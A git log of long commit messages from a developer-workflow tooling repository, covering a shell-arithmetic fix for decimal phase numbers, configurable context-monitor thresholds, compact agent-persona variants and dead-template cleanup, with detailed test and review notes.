Tom Boucher	db4d8a9bae	fix(#4619 ): execute-phase computes decimal/N-segment phase numbers without breaking shell arithmetic (#4644 ) * fix(#4619): execute-phase computes decimal/N-segment phase numbers without breaking shell arithmetic $((10#${PHASE_NUMBER})) is a hard bash/zsh syntax error when PHASE_NUMBER is decimal (01.1, from an inserted phase) or N-segment (23.1.2) — neither is valid shell-arithmetic syntax at all, and the failed expansion aborts the rest of the snippet in a non-interactive shell. safe_resume_gate runs unconditionally before trusting STATE.md or dispatching any executor, so execute-phase failed at its own gate before the first executor on any decimal phase, regardless of workflow.tdd_mode. Regression from #4194. Fixes all 4 sites: safe_resume_gate and the TDD gate in workflows/execute-phase.md, the completion-signal spot-check fallback in workflows/execute-phase/steps/completion-reconciliation.md, and the executor gate validation example in references/tdd.md. Each now zero-strips only the leading integer segment into a _INT variable (via %%. / # parameter expansion — always valid shell syntax regardless of what follows) and keeps the remainder as an escaped-dot string for the anchored commit- scope regex, exactly as issue #4619 verified in both bash and zsh. A plain integer phase (12, 01) computes byte-identically to before. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * test(#4619): pin the decimal/N-segment fix and characterize the pre-fix bug Behavioral coverage via real bash execution: the old $((10#01.1)) form throws (characterizes the bug, matching the issue's own reproduction); the new form resolves 01.1 -> 1\.1 and 23.1.2 -> 23\.1\.2, unchanged for plain integers (12 -> 12, 01 -> 1); the resulting anchored ERE matches feat(01.1-03):/test(1.1-3): and correctly rejects feat(01-03):, feat(01.2-03):, feat(011-03):, feat(12-03): for a decimal phase — mirroring issue #4619's own verified table exactly. Updates safe-resume-gate-anchoring.test.cjs's 4 existing source-text assertions (one per site) to the new fixed text. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * chore(#4634): refine the shell-arith drift detector to distinguish safe from unsafe arithmetic With #4619's fix in place, the guard's original "ban $((10#... outright, match any occurrence" was too blunt: it flagged a comment merely mentioning the pattern in prose, the now-safe $((10#$PHASE_INT)) arithmetic on an already-%%.-stripped integer, and the always-safe plan-id arithmetic (plan ids are plain integers, never decimal). Refines the detector to skip full-line comments and to only flag a captured variable/placeholder name that contains "phase" and does NOT end in _INT/_int — the naming convention the #4619 fix establishes at all four sites for "already reduced to a safe integer." A plan-id variable was never phase-number arithmetic in the first place and is excluded on the same basis. This closes epic #4634's D6 ("lint-phase-id-drift... passes with no new exemptions") and D7 ("a decimal and N-segment phase id survive an end-to-end execute-phase selection without error") for real — the guard now reports zero violations across all five .cts/.md rules. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> chore: regenerate conformance-tier manifests for the new test file Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * test(#4619): cover the plain-padded-integer near-miss matrix too Review found the anchored-ERE near-miss coverage only exercised the decimal case (PHASE_NUMBER=01.1); issue #4619's own worked table also verifies the plain padded-integer case (01 -> PHASE_N=1) against its own near-miss set (matches 01-03, rejects 01.1-03/011-03/12-03). Adds the missing assertion. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * docs(#4619): add Fixed changeset Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4619): correct JS backslash-escaping in safe-resume-gate anchoring test The test's string-literal assertions for the PHASE_FRAC//./\\.} pattern wrote only 2 backslash characters in JS source, which single-quoted-string parsing collapses to 1 real backslash at runtime -- but the workflow/reference files actually contain 2 raw backslash bytes at that position (needed so bash's ${var//pattern/replacement} produces the correct single-backslash output). Write 4 backslash characters in the JS source at all 4 occurrences so the runtime string matches the files' real bytes. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * chore(#4619): refresh the committed compact-content benchmark baseline The new PHASE_INT/PHASE_FRAC arithmetic lines added to gsd-core/workflows/execute-phase.md shifted its committed compaction-ratio baseline. Regenerate via `node scripts/benchmark-compact-content.cjs --write`. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * docs(#4619): note the safe_resume_gate arithmetic growth in the test header The emitted-attribution gate flags execute-phase.md growing 91253 -> 91846 bytes (593 bytes). The growth is the fix: the safe_resume_gate and TDD RED block now derive PHASE_INT/PHASE_FRAC before computing PHASE_N, so a decimal/N-segment phase number (e.g. 01.1, 2.3.1) zero-strips its leading integer segment via base-10 arithmetic instead of forcing the whole value through $((10#...)) and hitting a hard shell syntax error on the first dot. A blank line previously separated the Emitted-Drift-Ack-Growth trailer from the Co-Authored-By trailer below it, which splits git's trailer-block detection: only the last contiguous non-blank run of Key: Value lines at the end of a commit message is recognized as trailers, so the growth ack was silently read as ordinary body text and the differential-attribution gate failed with the growth unacknowledged. Joining the two trailers into one contiguous block fixes it. Emitted-Drift-Ack-Growth: execute-phase.md — adds PHASE_INT/PHASE_FRAC derivation to the safe_resume_gate and TDD RED commit-scope grep so a decimal/N-segment phase number zero-strips its leading integer segment via base-10 arithmetic instead of failing on a non-numeric value (#4619) Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * test(#4208): replace chmod-based restore-failure injection with a root-proof git shim `tests/commit-files-deletion.test.cjs`'s two restore-failure tests simulated an unwritable index via a `post-index-change` hook running `chmod a-w` on the git dir. That relies on the OS enforcing the owner's own permission bits against itself, which uid 0 (a routine identity inside this repo's Docker-based gsd-test benches) does not: every DAC check short-circuits true for root, so the write the chmod meant to block silently succeeds, the restore comes back clean, and the disclosure/rollback behavior under test never actually gets exercised. This is CLAUDE.md's own named anti-pattern for I/O-failure injection ("Cross-platform test IO-failure injection" — chmod tricks fail under root Docker/CI). It is confirmed as the actual root cause here, not a production defect: `src/commands.cts`'s `restoreRemovedEntries`/rollback-disclosure logic (added by #4253, merged just before this run) was hand-traced and manually reproduced end to end on an unprivileged workstation against a freshly built `gsd-core/bin/lib/commands.cjs`, and it already produces exactly the `staging_failed` + "could not be restored" / "could NOT be restored during rollback" results both tests assert. The other `post-index-change`-based tests in this file (a `sleep` to force a timeout; a real `update-index` to flip a restored entry's mode) are unaffected because neither depends on a permission check — consistent with only the two chmod-based tests failing on the real remote run. Replaces the chmod fixture with a fake `git` placed ahead of the real one on PATH that fails only `update-index --add --cacheinfo` — the one call the restore makes — unconditionally, regardless of privilege level. Every other git invocation execs straight through to the real binary, so the rest of each scenario (`rm --cached`, the restore's own `ls-files` verification, etc.) is exercised exactly as before.

Feeding the same script via stdin instead removes argv entirely from the transport, so there is nothing for Windows to re-encode. POSIX behavior is unchanged.

Tom Boucher	37b965c0d1	enhance(#4139 ): Phase 7 — the agent-skill seam picks the payload in code (#4553 ) * enhance(#4139): Phase 7 — the agent-skill seam picks the payload in code ADR-4139 stream 2. The non-Claude `#2454` persona fallback in cmdAgentSkills (src/init.cts) now selects between a canonical agents/<name>.md and a token-minimized agents/<name>.compact.md sibling based on workflow.compact_content, resolved in code (a real function call with a real exit code) rather than a prose config-get gate — the same precedent stream 1's spine/detail split established for a load-bearing seam, applied here because this seam already runs through TypeScript instead of an eager @-include. A missing compact sibling falls back to the canonical persona and discloses the fallback in the served payload itself (a leading HTML-comment provenance line), so the Done-when contract — compact when on, canonical when off, never silent or empty — holds even for an agent nobody has compacted yet. Authored a .compact.md sibling for all 35 shipped agents (agents/gsd-.md), each an independent, complete rewrite (not an extraction — nothing is "moved" the way spine/detail moves text) that preserves frontmatter, every @-include, every output-format contract, and every guardrail verbatim while cutting restatement and verbose framing. Verified mechanically: every pair registers (a canonical sibling exists), every compact file is strictly smaller, and the full @-include set matches canonical's — including which references are standalone eager-load lines versus inline prose mentions, since demoting one to inline changes what the host actually substitutes. Traced the install path before writing any code (.gsd/phase/.../40-design.md): stageAgentsForRuntimeWithConverter glob-copies every agents/.md file with no stem filtering under the default full profile, so the new .compact.md files install for free with zero installer changes — matching issue #4407's stated scope. A tiered agent profile that doesn't stage a compact sibling degrades through the same fallback-with-provenance path already required for an unauthored one, so no installer change is needed there either. Extends tests/helpers/compact-content-variant.cjs with an AGENTS_ROOT export (deliberately not folded into DEFAULT_VARIANT_ROOTS, since agent variants are reached by a generic code construction rather than a literal path in prose, and checkReachability's markdown-search shape has nothing to find there). Reachability is instead proven behaviorally: tests/agent-skills.test.cjs's new "#4407 compact payload selection" describe block spawns gsd_run agent-skills against real compact/canonical fixture pairs and asserts on the served payload, which can only pass if the seam genuinely wires through. Fixed a pre-existing test whose agents/.md glob incidentally matched the new .compact.md siblings (tests/agent-skills.test.cjs's Skill-frontmatter drift guard) and added the 35 new agents/.compact.md entries to docs/INVENTORY.md's roster, both real, unrelated-to-content defects the new files' mere existence surfaced. Regenerated: install-tree fixtures (19 runtimes now ship 35 more agent files under the full profile), INVENTORY-MANIFEST.json, and the variant-swap token benchmark baseline (npm run benchmark:compact-content-variants --write). Closes #4407. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4407): apply orthogonal review findings from the compact-payload seam Standards axis of /code-review: extracted readNonEmptyFileOrNull(filePath) to collapse the duplicated read-and-empty-check shape between the compact and canonical branches in cmdAgentSkills, and updated the adjacent comment enumerating flat JSON extras to name agent_payload_variant alongside source/degraded (added by the prior commit, comment left stale). Security review and the Spec axis found no defects requiring a code change; their non-blocking observations (a pre-existing, unmodified path-construction pattern; the reasoned, documented substitution of a behavioral test for the literal reachability check) are recorded in .gsd/phase/enhance-4407-agent-skill-seam/60-review.json. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4407): repo-wide roster/cap fixes surfaced by shipping .compact.md agents Root-caused via a real gsd-test run (93 failures) rather than guessing which tests glob agents/ naively. Two classes of defect, both genuine: 1. Identity-roster confusion (11 files/areas): many tests and one production script derive "the set of GSD agents" from `readdirSync(agentsDir).filter(f => f.endsWith('.md'))`, which incidentally matched the new .compact.md variant siblings too — a compact file is a rendering of an EXISTING agent identity, not a new one. Fixed at the shared root (tests/helpers/agent-roster.cjs's listAgentFiles, which several tests already consolidated on) and at each independent glob that didn't use it: agent-size-budget.test.cjs (tier-cap lookup now strips the .compact suffix before checking XL/LARGE membership, so a compact file inherits its canonical sibling's tier instead of silently falling through to DEFAULT), agent-skills-bootstrap.test.cjs, check-contract-drift.test.cjs (the actual script, not just its test), codex-config.test.cjs (confirmed directly against generateCodexAgentToml that a compact role's derived sandbox_mode is byte-identical to its canonical sibling's before excluding it — not assumed), and copilot-install.test.cjs (two counts that legitimately DO need both files — an installed-file count and a full-conversion smoke test — fixed to expect 70, not stay pinned to 35). no-bare-gsd-tools-command-position.test.cjs needed the opposite kind of fix: two compact files reproduce descriptive prose already allowlisted at their canonical file's line number; added matching entries at the compact files' own line numbers rather than excluding them from the scan (a genuine bare gsd-tools command-position bug in a compact file would be as real a defect as in canonical). 2. A hard, non-ackable cap (found via emitted-attribution.test.cjs's real-tree run): six agents' compact renditions (gsd-debugger, gsd-executor, gsd-phase-researcher, gsd-plan-checker, gsd-planner, gsd-verifier) exceed the 32,768-byte NEW_FILE_CAP (ADR-1610) even after aggressive compaction — confirmed structural, not a compaction-quality gap: each is dominated by content this phase's own rules require verbatim (the ~2.6 KB gsd_run bootstrap preamble runtime-launcher-parity.test.cjs requires inlined in every agent that calls gsd_run, output-format contracts, guardrails). ADR-4139's prescribed remedy (spine + lazily-read parts) has no landing spot in cmdAgentSkills's single-file synchronous read. Removed these 6 compact files rather than ship an over-cap file or invent a multi-part read mechanism out of scope for this phase; recorded by name with the reason in .gsd/phase/enhance-4407-agent-skill-seam/40-design.md and 50-test-matrix.md, per #4407's own "or explicitly recorded as not worth covering" allowance. Their canonical personas are served correctly today via the fallback-with-disclosed-provenance path this phase's own Done-when #2 already requires — 29 of 35 agents now have a compact variant. Also fixes an unrelated, genuinely pre-existing defect this gsd-test run surfaced: gsd-core/workflows/execute-plan.md sat 21 bytes over its own DEFAULT-tier hard cap (40,960 bytes) at the branch point, before any change in this PR touched it — confirmed via `git show <merge-base>:...execute-plan.md \| wc -c`. Per CLAUDE.md's no-deferral rule, fixed inline rather than filed: two meaning-preserving trims in the <success_criteria> block (a repeated parenthetical replaced with a same-exception reference; one redundant qualifier dropped) bring it to 40,940 bytes. Regenerated install-tree fixtures, INVENTORY-MANIFEST.json, and the variant benchmark baseline to reflect the 6 removed files. Docs/INVENTORY.md's 6 now-orphaned roster rows removed alongside them. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4407): make .compact.md-aware roster checks resilient to partial coverage Round 2 of the gsd-test-driven roster fixes: two checks assumed every agent has a compact sibling (true for 29 of 35 after the NEW_FILE_CAP exception), breaking once 6 stems legitimately have none. - tests/agent-classification-parity.test.cjs: the INVENTORY.md parser was picking up the "### Compact Payload Variants" subsection's rows as phantom/uncounted entries in the primary/advanced/inventory-only classification this test validates — a compact row documents an existing agent's alternate rendition and never gets its own AGENTS.md heading, so it was never meant to participate in that classification. Excluded at the parser, not per-assertion. - tests/copilot-install.test.cjs: the derived expected-file-list generator assumed every listAgentFiles() stem has a .compact.md source sibling; checks disk per stem now instead.

Behruz Nassre Esfahani	3ad75a6d59	enhance(#4285 ): resolve context-monitor fire-points from .planning/config.json (#4366 ) * enhance(#4285): resolve context-monitor fire-points from .planning/config.json The monitor's WARNING (35%) and CRITICAL (25%) fire-points were module constants, so the only way to tune them was editing gsd-context-monitor.js — a file in the MANAGED hooks registry, whose body the next install re-stages, silently discarding the edit. The alternative was turning the safety net off. Both are now readable from the config block the hook already opens: hooks.context_warning_threshold and hooks.context_critical_threshold. Absent keys resolve to today's 35/25, so every existing project is byte-identical. Resolution is total and never throws — this hook must not block the tool call it rides in on. A value is usable only if Number.isFinite (type-strict, so the string "30" and true are rejected) and inside the 0-100 domain of the remaining_percentage it is compared against; anything else falls back to the default. The PAIR falls back together: critical >= warning has no coherent reading, and honouring one side silently picks which of the operator's two numbers to discard. That also covers a single override contradicting the other key's default. config-set validates the domain per key so accept and honour agree, but deliberately does not enforce the pair — it writes one key per call, so a two-step retune is transiently inconsistent on disk and refusing it there would block a legitimate configuration. Registration follows the statusline.show_git precedent: schema manifest plus src/config.cts validation, not config-defaults.manifest.json and not buildNewProjectConfig — emitting 35/25 into every new project would pin the defaults at creation time for a setting nobody has tuned. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DsUAawHKUy9pCpnye1Jzd2 * enhance(#4285): address Codex review — per-key fallback docs, discriminating tests Codex full-PR review (gpt-6-astra, read-only) returned five findings. Each was verified against source before acting; all five are real. 1. docs/CONFIGURATION.md described the wrong fallback. An out-of-domain value falls back PER KEY; both defaults apply only when the RESOLVED pair violates critical < warning. warning 150 with critical 30 resolves to 35/30, not 35/25 — at remaining 28 that difference changes the severity emitted. The table now states the two rules in the order they compose, and docs/context-monitor.md gains the same worked example. 2. The inconsistent-pair test could not prove the CRITICAL side reverts: its pair was 20/25, and 25 is already the default, so an implementation that reset only `warning` passed it. A 45/50 pair — both halves away from their defaults — now pins each side with its own reading, and an equal 45/45 pair pins that the rule is strict (`<`, not `<=`). 3. The rejection table's rows could not tell rejection from acceptance: an accepted -5 pairs with the default critical 25, trips the pair check, and produces the same silence. Two rows now separate those: a below-domain critical must escalate remaining 20 to CRITICAL (proving -5 was rejected, not honoured), and an unusable critical beside a usable warning 45 must still fire WARNING at remaining 40 (proving per-key fallback rather than reset-both). The over-claiming comments are narrowed to what each row actually shows. 4. Scope, reproduced rather than assumed: config-set writes through planningDir(), so under GSD_WORKSTREAM it lands in .planning/workstreams/<name>/config.json while this hook reads only <cwd>/.planning/config.json. That is the pre-existing root-only scope hooks.context_warnings has always had, but this PR advertises the setter route, so both docs now say the keys are root-project settings. 5. Four other English docs still stated 35/25 as fixed: the REQ-CTX-02/03 requirements fragment, ARCHITECTURE.md's hook table and threshold table, and INVENTORY.md's hook row. All now name them as defaults and point at the config keys; docs/FEATURES.md is regenerated from its fragment via scripts/gen-features.cjs --write, not hand-edited. Four new mutations, each reverted after: resetting only the warning half on an inconsistent pair (1 red), resetting both on any unusable key (1), dropping the >= 0 bound (1), and accepting critical == warning (1). perf-317 is 116/0. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DsUAawHKUy9pCpnye1Jzd2 * enhance(#4285): tighten claims after Codex round 2 — scoped paths, one more discriminator Confirmation round found no runtime defect and confirmed the five round-1 fixes landed. Four precision items, all real, all fixed here. 1. The scoped-write note named the wrong path for GSD_PROJECT. planningDir() composes three distinct shapes, confirmed by running config-set under each: .planning/<project>/config.json, .planning/workstreams/<ws>/config.json, and .planning/<project>/workstreams/<ws>/config.json. docs/context-monitor.md now tabulates all four cases instead of collapsing them into one. 2. The 45/50 silence row asserted empty stdout without pinning the exit code. runMonitorRaw turns a spawn failure, a non-zero exit or a timeout into empty stdout as well, so the row could have passed on a dead child. It asserts exitCode === 0 first now, like the equal-pair row already did. 3. The sibling row's message claimed it proved critical fell back to 25. It does not: coercing '30' to 30 yields WARNING at remaining 40 too, so the row pins the WARNING side surviving and nothing more. Message narrowed, and a new row reads the same config at remaining 28, where the two candidate resolutions diverge — rejected gives (45, 25) and WARNING, coerced gives (45, 30) and CRITICAL. Mutation-verified: swapping Number.isFinite for the coercing global reds it. 4. "Accept and honour must agree" was too absolute in the src/config.cts and tests/config.test.cjs comments. The agreement holds on the DOMAIN and per key: an accepted value can still lose to the hook's pair check at read time, and a scoped write never reaches the hook at all. Likewise a two-step retune only CAN be transiently inconsistent — 35/25 to 20/10 is valid throughout if critical moves first — so the docs now say what a setter-side pair check would actually cost: rejecting that intermediate write and forcing an order. The same over-absolute phrasing is in b7d179c89's message, which is left as written rather than rewriting history; this commit and the PR body carry the precise claim. perf-317 117/0, config 192/0, config-field-docs 47/0, features-index-gate 84/0, lint:ci clean cold.

Minor 1: gsd-core/references/planning-config.md's "Hook Fields" table gains rows for hooks.context_warning_threshold and hooks.context_critical_threshold, in that table's 5-column form, carrying the same per-key-fallback, pair-reversion and root-config-scope claims docs/CONFIGURATION.md already makes. hooks.workflow_guard's absence from that table is pre-existing and out of scope here. Minor 2: resolveThresholds() gets fast-check property coverage, which ADR 456 requires of a threshold/limit contract. Reaching it needed a require-time seam: the resolver was previously observable only by spawning the hook, and a subprocess per case cannot drive 200 runs — the same conclusion CONTEXT-INDEX records for the ROADMAP Requirements parser. The stdin adapter therefore moves into main() behind `require.main === module`, mirroring gsd-cursor-subagent-start.js and gsd-statusline.js, and module.exports exposes the resolver plus both default constants so a test asserts fallback against the source of truth rather than a second copy of 35/25. Spawned behaviour is unchanged: the 10s stdin timeout still arms per invocation (stdinTimeout is now a module-scope let assigned in main(), still cleared by the end handler), and the try/catch crash(ON_CRASH) path is untouched. Seven properties: totality, ordering, exactness, togetherness, non-vacuity, per-key fallback, non-object argument. Exactness is stated PER KEY — a mixed result (one key honoured, one fallen back) is legal and is the documented contract; the property falsified a per-pair phrasing of it in 4 runs. Verified: cold lint:ci 0; perf-317 file 125/0; seven mutations killed and restored, one of which (upper bound widened to 120) is invisible to the 17 hand-written cases and caught only by a property. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UZw5UhR474YLyE4knjHrte * enhance(#4285): close the Codex-found gap in the property coverage Codex whole-PR review of round 3 returned no Blocker and no Major. Two items, both in the tests added this round, both verified against source before acting. Minor — the per-key fallback property was asymmetric: it required a usable warning to survive an unusable critical, but never the reverse. A resolver that reverted BOTH keys the moment warning was unusable passed all seven properties. Reproduced exactly: that mutant answers 35/25 for {warning: 150, critical: 30} where the resolver answers 35/30, and the file stayed green at 125/0. The mirrored property closes it — with the mutant re-applied it is now the single failing row, and it is the only row that fails, so it is load-bearing rather than incidental. Nit — the ordering property's comment credited it with catching a half-honoured pair, which it does not: 45/50 "repaired" by resetting only critical yields 45/25, perfectly ordered. That case belongs to togetherness. The same comment claimed the behavioural rows sample an inconsistent pair at exactly one point; stale — they cover 20/25, 45/50 and the 45/45 equality boundary. Both claims corrected in place. Verified: cold lint:ci 0; perf-317 file 126/0; the mutant above killed by the new property alone and the hook restored byte-identical afterwards. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UZw5UhR474YLyE4knjHrte * enhance(#4285): name the installed-monitor prerequisite; close the negative-critical gap Second Codex whole-PR pass, run because the base moved: the author's three "Update branch" merges pulled ~26 upstream commits in, so the previously reviewed diff sat on a base that no longer exists. No Blocker, no Major, two Minor — both verified against source before acting. Minor 1, and only reachable because of what the merge brought in: #2586 (`03738824d`) landed in that window and stops staging hooks/gsd-context-monitor.js for Codex, since the metrics bridge it reads is written only by hooks/gsd-statusline.js, which Codex never installs (bin/install.js: "gsd-context-monitor.js is deliberately NOT copied for Codex"). These two keys are read by that hook and nothing else, so on such a runtime config-set stores and validates them and nothing consumes them — a claim the docs this PR adds did not make. docs/context-monitor.md now carries the explanation and both key tables carry a clause pointing at it; the FEATURES and INVENTORY entries already link through to those two files, so they are not edited again. The changeset says it too, because it is user-facing. Accepting the keys on every runtime is kept deliberately: config is shared across runtimes, so validation stays runtime-independent and the runtime caveat lives in documentation rather than in the setter. Minor 2: the per-key fallback property's junk generator had no negative arm, though its mirror did — and that asymmetry hid a gap. A resolver reverting BOTH keys whenever critical is negative answers 35/25 for {45, -5} where the resolver answers 45/25, and it passed all 126 tests.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UZw5UhR474YLyE4knjHrte * enhance(#4285): refuse the two dead threshold endpoints; resolve absent keys Maintainer review round 2 raised two Minors and a nit. Minor 1 — `hooks.context_warning_threshold: 0` was accepted and stored but can never take effect: `critical < warning` must hold and both sides are clamped to 0-100, so nothing can sit below a warning of 0. Verifying it surfaced the MIRROR case the review did not name: `critical: 100` is equally dead, since nothing can sit above it. Both confirmed against the real resolver for partners {absent, 0, 50, 100}, with 0.001 and 99.999 honoured as controls. `config-set` now refuses both, because storing a value the reader always discards is the accept-then-discard shape this codebase refuses elsewhere. The hook is unchanged and still total — it degrades to defaults rather than throwing, so a project that already carries one of these on disk still loads. The old "accepts the domain bounds 0 and 100" row asserted the misleading half and is replaced by tables that make the asymmetry the point (0 is legal for critical and illegal for warning; 100 is the reverse), plus a control row so "refuse both endpoints outright" would not pass in its place. Minor 2 — the keys are absent from config-defaults.manifest.json / buildNewProjectConfig where the sibling `hooks.context_warnings` lives. Kept that way: buildNewProjectConfig writes a hooks object into every NEW project's config.json, which would freeze today's fire-points as an explicit per-project override everywhere — the opposite of this PR's premise. But the underlying complaint was real, so the actual symptom is fixed: `config-get` on an absent key returned "Key not found" while the hook silently used 35/25. It now resolves through SCHEMA_DEFAULTS. Restated rather than derived because CONFIG_DEFAULTS is re-exported flattened and has no `hooks` member at runtime; the one resulting copy of 35/25 outside the hook is pinned against the hook's exported constants by a drift test (red-checked: moving the literal to 40 reds it). Nit — PR-body counts unverifiable from the diff. Noted, no code change. Codex round 3 then found a broken doc link (`context-monitor.md` resolved inside gsd-core/references/, where it does not exist; the emitted tree's own convention is `../../docs/...`) and a stale comment still describing the manifest-derived approach I had backed out. Both fixed. It also corrected my rationale on a point of fact: manifest entries alone would NOT have reached new project configs, since buildNewProjectConfig builds its own literal — the freezing argument applies to that function, not to the manifest. The comment now says so rather than running the two together. Verified: cold lint:ci 0; full suite 36,082 / 0 fail before these two fixes, config + perf-317 321/0 after; drift pin red-checked.

Tom Boucher	a27cb6b2fa	enhance(#4139 ): Phase 6 — the lazily-read remainder and the artifact templates (#4540 ) * enhance(#4406): the lazily-read remainder and the artifact templates ADR-4139 Decision 3, Phase 6 of the #4139 Compact Content epic. Covers stream 1b (gsd-core/workflows/<name>/{modes,steps,templates}/.md) and stream 4 (gsd-core/templates/) with a variant-swap mechanism, confirmed with the user: two independent, complete files per covered path (canonical + .compact.md sibling), with the gate picking which one gets Read at the call site. This is a different shape from Phase 5's spine+detail partition, and is safe here specifically because these files are already reached only by a runtime Read — a missed Read already means zero overlay content today, with or without workflow.compact_content, so selecting between two independently-complete files introduces no new failure mode (documented in gsd-core/references/compact-content-gate.md's new "Streams 1b and 4" section). Disposition, after inspecting every candidate rather than trusting a byte-size threshold (same rigor Phase 5 applied to review.md): - Stream 1b: 1 of 78 files compacted (help/modes/full.md, a user-facing reference doc emitted verbatim, not orchestrator instruction). The other 9 size-threshold candidates are dominated by fail-closed guards, exact CLI invocations, or output-format contracts (AskUserQuestion blocks) — recorded not-worth-compacting, same reasoning as Phase 5's review.md. - Stream 4: a ground-truth reachability audit replaced the initial size-only candidate list. Two files (summary.md, user-setup.md) got compact variants; a third (spec.md) was drafted, then dropped after discovering its only two call sites are eager @-includes, not a runtime Read — stream-1 material hiding under gsd-core/templates/, not stream-4's actual mechanism. summary.md itself has 3 eager call sites and only 1 genuine runtime-Read call site (execute-plan.md); only that one was wired, so the compact variant's savings apply to the sequential single-plan execution path only. - Discovered while auditing reachability: 12 gsd-core/templates/* files with zero references anywhere in workflow/agent/command prose, compiled source, or tests — dead scaffolding predating this phase. Deleted in this same PR per this repo's no-defer policy, after re-verifying against a computed path.join(...) pattern (not just a plain-string search) that nearly caused two genuinely load-bearing templates (user-profile.md, dev-preferences.md) to be misclassified as dead. New checker (tests/helpers/compact-content-variant.cjs): registration, reachability, protected-content-preserved, size-smaller — replacing Phase 3/5's disjointness/completeness checks, which assume a partition rather than two deliberately-overlapping documents. The reachability check's own "unprefixed match" guard had a real bug (rejected the repo's own `~/.claude/gsd-core/...` convention), caught by running it against the already-wired help/modes/full.compact.md pair rather than only synthetic fixtures — fixed to anchor on the nearest `gsd-core` path segment instead. Template consumer parity (tests/compact-content-template-variant-parity.test.cjs): proves each compact variant's `## File Template` fenced block — the actual output-format contract a generated SUMMARY.md/USER-SETUP.md is parsed against — is byte-identical to the canonical file, then runs the one real deterministic consumer (gsd-core/bin/lib/coverage.cjs's classifyContent, backing `gsd-tools uat classify-coverage`) against content built from that shared contract. Added a sibling benchmark script (scripts/benchmark-compact-content-variants.cjs) rather than extending the existing spine/detail one — different data shape, and the existing script's own contract deliberately isolates it from a test-only helper's shape changing. Emitted-drift acknowledgement: not needed. Every changed/added path in this diff is hand-authored and present in the diff itself, so diffEmitted's attribution loop resolves `via` to the path's own source before reaching the ack-lookup branch (same reasoning Phase 5 verified for its own diff). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * enhance(#4406): address code-review findings on the variant-swap gate - docs/CONFIGURATION.md and gsd-core/references/planning-config.md's workflow.compact_content entries described only the spine+detail mechanism (Phase 5) and were missing this phase's variant-swap mechanism and its benchmark:compact-content-variants script entirely — required since this PR's changeset is type Added (CLAUDE.md's "Missing Docs for Changesets" rule). Both now describe both mechanisms and which call sites are wired. - Added the missing RED^-1/no-op fixture for checkProtectedContentPreserved: a canonical file with zero <!-- gsd:protected --> blocks must be a no-op, not a violation — the only branch of that function the existing fixtures didn't exercise. - Collapsed findCompactFiles/findMarkdownFiles in tests/helpers/compact-content-variant.cjs into one findFilesWithSuffix helper — the two were identical recursive walks differing only in the extension predicate (minor Duplicated-Code finding). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4406): restore copilot-instructions.md, a false-positive dead-template classification gsd-test caught this, not static analysis: 10 real failures in tests/copilot-install.test.cjs, tests/installer-migration-install.integration.test.cjs, and tests/repo-layout.test.cjs — all downstream of bin/install.js's Copilot install path, which does fs.readFileSync(path.join(targetDir, 'gsd-core', 'templates', 'copilot-instructions.md')) after copying gsd-core/templates/** into the target project, then merges it into both .github/copilot-instructions.md and (local installs) AGENTS.md. The reachability audit that flagged this file as dead checked src/.cts and gsd-core/bin/.cjs but never the repo-root bin/install.js — a separately maintained installer bundle outside the src/-to-gsd-core/bin/lib/ compiled-output convention. The fs.existsSync guard around that read degrades to a silent skip rather than a crash when the template is missing, which is why this surfaced only once the real E2E install test ran, not from any static check. Re-verified the remaining 11 deleted filenames against bin/install.js specifically (plain substring and quoted-filename search) before trusting that list — all 11 have zero hits there, confirmed dead by the same standard this one file failed. Regenerated the installer emitted-tree goldens (tests/fixtures/install-tree/.json) to reflect the restored file, and corrected the "Removed" changeset (jolly-lynx-sprint.md) and the phase design doc from 12 to 11 deleted files.

It has no semantic awareness, so a deleted template's basename colliding with something else entirely still fires: - claude-md.md: gsd-core/templates/README.md had a stale table row claiming /gsd-profile reads this template to generate CLAUDE.md. Verified false (no code reads it anywhere, same search that already covered bin/install.js) — fixed the row to (inline), matching every other command-generated artifact in that table. File stays deleted. - codebase/testing.md: collided with docs/guides/testing.md, an illustrative example row in docs-update.md's sample output table (an unrelated real generated-docs path). Swapped the example topic to "contributing" — the row is illustrative, any topic works. File stays deleted. - codebase/architecture.md, codebase/stack.md: collided with docs/reference/ planning-artifacts.md's directory listing of a user's own generated .planning/codebase/architecture.md and stack.md output — the same semantic mismatch already investigated and dismissed as unrelated earlier in this phase's audit, now caught by a gate instead of judgment. That listing repeats across 5 locale copies of the doc. - continue-here.md: collided with the real .continue-here.md pause-work artifact, referenced across 15+ locale and workflow files. For the last two, the lint's own error message offers "restore the file or update every consumer in the same commit." Rewording 15+ files across languages I cannot verify translation quality for, to shave 2 already-tiny templates that were merely presumed dead, is disproportionate to this PR's actual scope — restored codebase/architecture.md, codebase/stack.md, and continue-here.md instead, and corrected docs/ARCHITECTURE.md's Templates section accordingly. Final confirmed-dead set: claude-md.md, codebase/concerns.md, codebase/conventions.md, codebase/integrations.md, codebase/structure.md, codebase/testing.md, debug-subagent-prompt.md, discovery.md — 8 files, down from the original 12.

